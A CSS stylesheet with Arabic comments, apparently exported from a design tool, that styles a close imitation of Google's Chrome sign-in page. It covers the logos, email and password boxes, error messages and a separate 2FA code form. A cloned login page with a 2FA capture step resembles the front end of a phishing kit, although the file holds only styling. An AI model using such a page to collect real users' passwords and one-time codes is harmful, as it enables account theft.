/* ============================================ */
/* جميع الستايلات من ملف الكوديا - مطابقة 100% */
/* ============================================ */
*, *::before, *::after {
    box-sizing: border-box;
    margin: 0;
    padding: 0;
}

html, body {
    width: 100%;
    height: 100%;
    overflow: hidden;
    background: #F3F4F6;
    display: flex;
    justify-content: center;
    align-items: stretch;
    min-height: 100vh;
}

body {
    background: #f0f4f9;
    font-family: 'Inter', sans-serif;
    display: flex;
    align-items: center;
    justify-content: center;
}

/* Scaled canvas shell */
#stage-wrap {
    width: 100vw;
    height: 100vh;
    display: flex;
    align-items: center;
    justify-content: center;
    overflow: hidden;
}

#stageSizer {
    position: relative;
}

#stage {
    position: absolute;
    top: 0;
    left: 0;
    width: 1231px;
    height: auto;
    min-height: 560px;
    transform-origin: top left;
    overflow: hidden;
    margin: 0;
}

/* Background */
#stage .node-bg {
    position: absolute;
    left: 0;
    top: 0;
    width: 1231px;
    height: 690px;
    background-image: url('https://static.codia.ai/s/image_cfc24ed4-ccfc-47db-842f-0e0ef42aec67.png');
    background-size: 100% 100%;
    background-repeat: no-repeat;
    background-position: 0% 0%;
}

/* White card */
.node-11 {
    position: absolute;
    left: 120px;
    top: 150px;
    width: 991px;
    height: 383px;
    background: #FFFFFF;
    border-radius: 25px;
    box-shadow: 0 20px 50px rgba(0,0,0,0.2);
}

/* Google logo (chrome) - الجانب الأيمن */
.node-21 {
    position: absolute;
    right: 180px;
    top: 175px;
    width: 43px;
    height: 43px;
    object-fit: contain;
}

/* Google logo (top-left) - الشعار الرئيسي */
.node-31 {
    position: absolute;
    left: 150px;
    top: 60px;
    width: 193px;
    height: auto;
    object-fit: contain;
}

/* Title: Chrome login - Pixel Perfect */
.node-27 {
    position: absolute;
    right: 180px;
    top: 215px;

    width: 420px;

    font-family: Arial, sans-serif;
    font-weight: 400;
    font-size: 45px;
    line-height: 1.2;
    letter-spacing: 0;

    color: #202124;

    direction: rtl;
    text-align: right;
}

/* Subtitle: using google account */
.node-26 {
    position: absolute;
    right: 180px;
    top: 270px;
    font-size: 18px;
    color: #5f6368;
    font-family: 'Inter', sans-serif;
    text-align: right;
    direction: rtl;
}

/* Success message */
.node-28 {
    position: absolute;
    left: 618px;
    top: 132px;
    width: 133px;
    height: 22px;
    font-size: 16px;
    font-weight: 300;
    color: #73BA80;
    font-family: 'Inter', sans-serif;
    direction: rtl;
    text-align: right;
    display: none;
    white-space: normal;
    line-height: 1px;
    overflow: hidden;
    padding: 0;
}

/* Failure message */
.node-29 {
    position: absolute;
    left: 594px;
    top: 102px;
    width: 172px;
    height: 22px;
    font-size: 16px;
    font-weight: 300;
    color: #D07477;
    font-family: 'Inter', sans-serif;
    direction: rtl;
    text-align: right;
    display: none;
    white-space: normal;
    line-height: 1px;
    overflow: hidden;
    padding: 0;
}

/* Email input box (border) */
.node-19 {
    position: absolute;
    left: 180px;
    top: 230px;
    width: 380px;
    height: 48px;
    background: #FEFEFE;
    border: 1px solid #676363;
    border-radius: 6px;
    overflow: hidden;
}

/* Email placeholder text - إخفاء النص المنفصل */
.node-20 {
    display: none;
}

/* Password input box (border) */
.node-17 {
    position: absolute;
    left: 180px;
    top: 300px;
    width: 380px;
    height: 48px;
    background: #FEFEFE;
    border: 1px solid #676363;
    border-radius: 6px;
    overflow: hidden;
}

/* Password placeholder - إخفاء النص المنفصل */
.node-33 {
    display: none;
}

/* Help text */
/* Help text - Google Pixel Perfect */
.node-24 {
    position: absolute;
    left: 180px;
    top: 355px;

    width: 380px;

    font-family: Arial, sans-serif;
    font-weight: 400;
    font-size: 13px;
    line-height: 1.6;
    letter-spacing: 0;

    color: #5f6368;

    direction: rtl;
    text-align: right;
}

.node-24 a {
    color: #1a73e8;
    text-decoration: none;
    font-weight: 400;
}

.node-24 a:hover {
    text-decoration: underline;
}

/* "More info" link - Pixel Perfect */
.node-25 {
    position: absolute;
    left: 165px;
    top: 355px;

    font-family: Arial, sans-serif;
    font-weight: 400;
    font-size: 13px;
    line-height: 1.4;
    letter-spacing: 0;

    color: #1a73e8;

    cursor: pointer;
    text-decoration: none;

    direction: rtl;
    text-align: right;
}

/* Sign in button */
.node-13 {
    position: absolute;
    left: 180px;
    top: 435px;
    width: 132px;
    height: 37px;
    background: #0B57D0;
    border-radius: 20px;
    display: flex;
    align-items: center;
    justify-content: center;
    cursor: pointer;
    border: none;
    transition: all 0.2s ease;
}

.node-13:hover {
    background: #0947b0;
    transform: translateY(-1px);
}

/* Sign in button text */
.node-14 {
    color: #fff;
    font-size: 14px;
    font-family: 'Inter', sans-serif;
    font-weight: 500;
}

/* Forgot password link */
.node-22 {
    position: absolute;
    left: 420px;
    top: 450px;
    font-size: 12px;
    color: #1a73e8;
    font-family: 'Inter', sans-serif;
    cursor: pointer;
    text-decoration: none;
}

.node-22:hover {
    text-decoration: underline;
}

/* Create account link */
.node-23 {
    position: absolute;
    left: 340px;
    top: 450px;
    font-size: 12px;
    color: #1a73e8;
    font-family: 'Inter', sans-serif;
    cursor: pointer;
    text-decoration: none;
}

.node-23:hover {
    text-decoration: underline;
}

/* Focus effects */
.node-19:focus-within,
.node-17:focus-within {
    border-color: #1a73e8;
    box-shadow: 0 0 0 2px rgba(26,115,232,0.2);
}

/* Footer links */
.node-7 {
    position: absolute;
    left: 316px;
    top: 560px;
    width: 36px;
    height: 13px;
    font-size: 14px;
    font-weight: 400;
    color: #33333;
    font-family: 'Inter', Arial, Helvetica, sans-serif;
    cursor: pointer;
}

.node-8 {
    position: absolute;
    left: 241px;
    top: 560px;
    width: 36px;
    height: 13px;
    font-size: 14px;
    font-weight: 400;
    color: #33333;
    font-family: 'Inter', Arial, Helvetica, sans-serif;
    cursor: pointer;
}

.node-9 {
    position: absolute;
    left: 155px;
    top: 560px;
    width: 36px;
    height: 13px;
    font-size: 14px;
    font-weight: 400;
    color: #33333;
    font-family: 'Inter', Arial, Helvetica, sans-serif;
    cursor: pointer;
}

.node-7:hover,
.node-8:hover,
.node-9:hover {
    color: #1a73e8;
}

/* Bottom bar image */
.node-5 {
    position: absolute;
    left: 527px;
    top: 676px;
    width: 40px;
    height: 14px;
    object-fit: contain;
}

.node-3 {
    position: absolute;
    left: 681px;
    top: 680px;
    width: 108px;
    height: 10px;
    object-fit: contain;
}

.node-4 {
    position: absolute;
    left: 590px;
    top: 682px;
    width: 19px;
    height: 8px;
    font-size: 5px;
    font-weight: 600;
    color: #5B5B5B;
    text-align: center;
    font-family: 'Inter', sans-serif;
}

.node-1 {
    position: absolute;
    left: 0px;
    top: 0px;
    width: 1231px;
    height: 690px;
}

.node-16 {
    position: absolute;
    left: 216px;
    top: 233px;
    width: 386px;
    height: 57px;
}

.node-32 {
    position: absolute;
    left: 233px;
    top: 27px;
    width: 62px;
    height: 39px;
    display: block;
    white-space: normal;
    line-height: 1px;
    overflow: hidden;
    padding: 0;
    font-size: 28px;
}

#stage-wrap, #stageWrapper, .stage-wrapper {
    width: 100%;
    min-height: 100vh;
    display: flex;
    justify-content: center;
    align-items: flex-start;
    overflow: hidden;
}

#stageSizer, .stage-sizer {
    position: relative;
}

/* ============================================ */
/* ستايلات الحقول الداخلية (input مع placeholder) */
/* ============================================ */
.g-input {
    width: 100%;
    height: 100%;
    border: none;
    background: transparent;
    padding: 12px 15px;
    font-size: 14px;
    font-family: 'Inter', sans-serif;
    outline: none;
    direction: rtl;
}

.g-input:focus {
    outline: none;
}

/* تنسيق الـ placeholder */
.g-input::placeholder {
    color: #777;
    font-size: 14px;
    font-family: 'Inter', sans-serif;
    font-weight: 300;
}

/* تنسيق الـ placeholder عند التركيز */
.g-input:focus::placeholder {
    color: #aaa;
}

/* ============================================ */
/* رسائل الخطأ */
/* ============================================ */
.error-text {
    color: #D07477;
    font-size: 11px;
    margin-top: 4px;
    display: none;
    position: absolute;
    bottom: -18px;
    right: 12px;
}

.input-error {
    border-color: #D07477 !important;
}

.shake {
    animation: shake 0.3s ease-in-out;
}

@keyframes shake {
    0%, 100% { transform: translateX(0); }
    25% { transform: translateX(-4px); }
    75% { transform: translateX(4px); }
}

/* ============================================ */
/* رسائل التنبيه */
/* ============================================ */
.alert {
    padding: 8px 12px;
    border-radius: 8px;
    font-size: 12px;
    margin-bottom: 10px;
}

.alert-success {
    background: #e6f4ea;
    color: #137333;
}

.alert-danger {
    background: #fce8e6;
    color: #c5221f;
}

.d-none {
    display: none !important;
}

/* ============================================ */
/* 2FA Form styles */
/* ============================================ */
#twoFAForm {
    position: absolute;
    left: 280px;
    top: 200px;
    width: 300px;
    background: white;
    padding: 20px;
    border-radius: 10px;
    z-index: 100;
    box-shadow: 0 4px 12px rgba(0, 0, 0, 0.15);
}

#twoFAForm h4 {
    margin-bottom: 15px;
    font-family: 'Inter', sans-serif;
    color: #202124;
}

#twoFAForm .g-input {
    border: 1px solid #BFBFBF;
    border-radius: 4px;
    margin-bottom: 10px;
    padding: 10px;
}

#twoFAForm .g-input::placeholder {
    color: #777;
    font-size: 14px;
}

#twoFAForm button {
    position: relative;
    left: 0;
    width: 100%;
    background: #0B57D0;
    color: white;
    border: none;
    border-radius: 20px;
    padding: 10px;
    cursor: pointer;
    font-family: 'Inter', sans-serif;
}

#twoFAForm button:hover {
    background: #0947b0;
}